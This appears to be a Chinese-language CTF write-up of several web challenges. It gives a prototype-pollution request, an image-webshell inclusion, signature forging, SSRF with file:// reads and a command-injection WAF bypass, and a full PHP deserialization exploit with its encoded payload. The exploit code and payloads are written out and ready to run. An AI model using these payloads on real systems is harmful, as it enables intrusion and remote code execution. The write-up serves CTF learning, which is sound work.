多重宇宙日记

直接将isAdmin属性污染为true即可看到管理员面板
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /api/profile/update HTTP/1.1
Host: node6.anna.nssctf.cn:21396
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:138.0) Gecko/20100101 Firefox/138.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://node6.anna.nssctf.cn:21396/api/profile
Content-Type: application/json
Content-Length: 81
Origin: http://node6.anna.nssctf.cn:21396
Connection: close
Cookie: connect.sid=s%3ACtewAuMzvsQlrpFde6TSCJip6jv0fCtY.STGeEXBPKbSz0qqpBD0pOEZCaY5PcqCCw4BYUwHzjBY
Priority: u=0

{
"settings":{
"theme":"1",
"language":"1",
"__proto__":{
"isAdmin":true
}
}
}

easy_file

只能上传jpg
先传一个图片木马,然后在admin.php中用file参数包含即可

easy_signin

使用X-sign校验签名,直接根据前端的js代码自己生成签名即可

1
2
3
4
5
6
const shortMd5User = '21232f';
const shortMd5Pass = '019202';
const timestamp = '1748258425996';
const secretKey = 'easy_signin';
const sign = CryptoJS.MD5(shortMd5User + shortMd5Pass + timestamp + secretKey).toString();
console.log(sign);

去到dashboard,提示有/var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php
首页源代码中有api.js,访问之后给了一个路由/api/sys/urlcode.php?url=
那么通过/api/sys/urlcode.php?url=file:///var/www/html/backup/8e0132966053d4bf8b2dbe4ede25502b.php拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
highlight_file(__FILE__);

$name="waf";
$name = $_GET['name'];


if (preg_match('/\b(nc|bash|sh)\b/i', $name)) {
echo "waf!!";
exit;
}


if (preg_match('/more|less|head|sort/', $name)) {
echo "waf";
exit;
}


if (preg_match('/tail|sed|cut|awk|strings|od|ping/', $name)) {
echo "waf!";
exit;
}

exec($name, $output, $return_var);
echo "执行结果:\n";
print_r($output);
echo "\n返回码:$return_var";
} else {
echo("非本地用户");
}
?

注意到必须是本地请求,那么可以通过/api/sys/urlcode.php?url=这个接口打SSRF

/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=ls${IFS}../

发现327a6c4304ad5938eaf0efb6cc3e53dc.php,访问即可得到flag

君の名は

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
 <?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}

class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}

class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;

public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}

$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}

把O改成C这边可以这样

1
2
3
4
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplObjectStorage::unserialize
1
2
3
4
5
就是在最后$b = array("PusTR"=>$c)

(创建一个关联数组,将对象 $c 放入数组中并赋予键名为 "PusTR"。这个数组随后被用来创建一个 ArrayObject 对象 $b,并被序列化输出,这里的键名随意,后面对象为前面反序列化对象)

$a = new ArrayObject($b);

回归源码:
先看开头的:

1
create_function("", 'die(`/readflag`);');

创建了一个匿名函数然后执行/readflag,所以这里我们需要调用这个匿名函数就可以输出flag
而匿名函数名字可以直接输出:

1
2
3
<?php 
$a = create_function("","die(` /readflag`);");
var_dump($a);

但是这边注意,每次刷新匿名函数的名字都会变,所以需要打开网站的第一次输入
知道了匿名函数的名字之后,我们还需要知道什么原生类可以调用匿名函数,又往下看:

1
2
3
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}

这边只有函数名是可控的,就是说需要调用一个无参函数
而ReflectionFunction的invoke方法可以调用函数,且无参

alt text

再往下看:

1
2
3
4
5
6
7
8
9
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}


public function __toString(){
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}

分析完就很清晰了:

exp.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php
class Taki
{
public $musubi;
public $magic = "invoke";
}

class Mitsuha
{
public $memory;
public $thread;
}

class KatawareDoki
{
public $soul;
public $kuchikamizake = "ReflectionFunction";
public $name = "\000lambda_1";
}

$a = new Taki();
$b = new Mitsuha();
$c = new KatawareDoki();

$a -> musubi = $b;
$b -> thread = $c;
$c -> soul = $a;

$d = array("PusTR"=>$a);
$e = new ArrayObject($d);

echo urlencode(serialize($e));


?>

#Litctf2025=C%3A11%3A%22ArrayObject%22%3A245%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3A5%3A%22PusTR%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3BO%3A7%3A%22Mitsuha%22%3A2%3A%7Bs%3A6%3A%22memory%22%3BN%3Bs%3A6%3A%22thread%22%3BO%3A12%3A%22KatawareDoki%22%3A3%3A%7Bs%3A4%3A%22soul%22%3Br%3A4%3Bs%3A13%3A%22kuchikamizake%22%3Bs%3A18%3A%22ReflectionFunction%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22%00lambda_1%22%3B%7D%7Ds%3A5%3A%22magic%22%3Bs%3A6%3A%22invoke%22%3B%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D